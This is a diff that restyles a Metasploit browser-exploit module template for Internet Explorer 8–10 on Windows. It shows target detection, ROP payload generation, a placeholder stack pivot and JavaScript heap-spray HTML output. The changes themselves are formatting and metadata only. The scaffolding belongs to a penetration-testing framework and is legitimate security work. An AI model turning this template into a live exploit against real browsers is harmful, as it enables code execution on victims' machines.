@@ -20,49 +20,52 @@ class MetasploitModule < Msf::Exploit::Remote
2020 # :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
2121 # :method => "SetShapeNodeType",
2222 autopwn_info (
23- ua_name : HttpClients ::IE ,
24- ua_minver : " 8.0" ,
25- ua_maxver : " 10.0" ,
23+ ua_name : HttpClients ::IE ,
24+ ua_minver : ' 8.0' ,
25+ ua_maxver : ' 10.0' ,
2626 javascript : true ,
27- os_name : OperatingSystems ::Match ::WINDOWS ,
28- rank : NormalRanking
27+ os_name : OperatingSystems ::Match ::WINDOWS ,
28+ rank : NormalRanking
2929 )
3030
3131 def initialize ( info = { } )
3232 super (
3333 update_info (
3434 info ,
35- 'Name' => " Module Name" ,
36- 'Description' => %q(
35+ 'Name' => ' Module Name' ,
36+ 'Description' => %q{
3737 This template covers IE8/9/10, and uses the user-agent HTTP header to detect
3838 the browser version. Please note IE8 and newer may emulate an older IE version
3939 in compatibility mode, in that case the module won't be able to detect the
4040 browser correctly.
41- ) ,
42- 'License' => MSF_LICENSE ,
43- 'Author' => [ 'sinn3r' ] ,
44- 'References' =>
45- [
46- [ 'URL' , 'https://metasploit.com' ]
47- ] ,
48- 'Platform' => 'win' ,
49- 'Targets' =>
50- [
51- [ 'Automatic' , { } ] ,
52- [ 'IE 8 on Windows XP SP3' , { 'Rop' => :jre } ] ,
53- [ 'IE 8 on Windows Vista' , { 'Rop' => :jre } ] ,
54- [ 'IE 8 on Windows 7' , { 'Rop' => :jre } ] ,
55- [ 'IE 9 on Windows 7' , { 'Rop' => :jre } ] ,
56- [ 'IE 10 on Windows 8' , { 'Rop' => :jre } ]
57- ] ,
58- 'Payload' =>
59- {
60- 'BadChars' => "\x00 " , # js_property_spray
61- 'StackAdjustment' => -3500
62- } ,
63- 'Privileged' => false ,
41+ } ,
42+ 'License' => MSF_LICENSE ,
43+ 'Author' => [ 'sinn3r' ] ,
44+ 'References' => [
45+ [ 'URL' , 'https://metasploit.com' ]
46+ ] ,
47+ 'Platform' => 'win' ,
48+ 'Targets' => [
49+ [ 'Automatic' , { } ] ,
50+ [ 'IE 8 on Windows XP SP3' , { 'Rop' => :jre } ] ,
51+ [ 'IE 8 on Windows Vista' , { 'Rop' => :jre } ] ,
52+ [ 'IE 8 on Windows 7' , { 'Rop' => :jre } ] ,
53+ [ 'IE 9 on Windows 7' , { 'Rop' => :jre } ] ,
54+ [ 'IE 10 on Windows 8' , { 'Rop' => :jre } ]
55+ ] ,
56+ 'Payload' => {
57+ 'BadChars' => "\x00 " , # js_property_spray
58+ 'StackAdjustment' => -3500
59+ } ,
60+ 'Privileged' => false ,
6461 'DisclosureDate' => '2013-04-01' ,
65- 'DefaultTarget' => 0
62+ 'DefaultTarget' => 0 ,
63+ # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
64+ 'Notes' => {
65+ 'Stability' => [ ] ,
66+ 'Reliability' => [ ] ,
67+ 'SideEffects' => [ ]
68+ }
6669 )
6770 )
6871 end
@@ -97,25 +100,24 @@ def get_target(agent)
97100 nil
98101 end
99102
100- def get_payload ( t )
103+ def get_payload ( tgt )
101104 stack_pivot = "\x41 \x42 \x43 \x44 "
102- code = payload . encoded
105+ code = payload . encoded
103106
104- case t [ 'Rop' ]
107+ case tgt [ 'Rop' ]
105108 when :msvcrt
106- print_status ( " Using msvcrt ROP" )
109+ print_status ( ' Using msvcrt ROP' )
107110 rop_payload = generate_rop_payload ( 'msvcrt' , code , 'pivot' => stack_pivot , 'target' => 'xp' )
108-
109111 else
110- print_status ( " Using JRE ROP" )
112+ print_status ( ' Using JRE ROP' )
111113 rop_payload = generate_rop_payload ( 'java' , code , 'pivot' => stack_pivot )
112114 end
113115
114116 rop_payload
115117 end
116118
117- def get_html ( t )
118- js_p = ::Rex ::Text . to_unescape ( get_payload ( t ) , ::Rex ::Arch . endian ( t . arch ) )
119+ def get_html ( tgt )
120+ js_p = ::Rex ::Text . to_unescape ( get_payload ( tgt ) , ::Rex ::Arch . endian ( tgt . arch ) )
119121 html = %|
120122 <script>
121123 #{ js_property_spray }
0 commit comments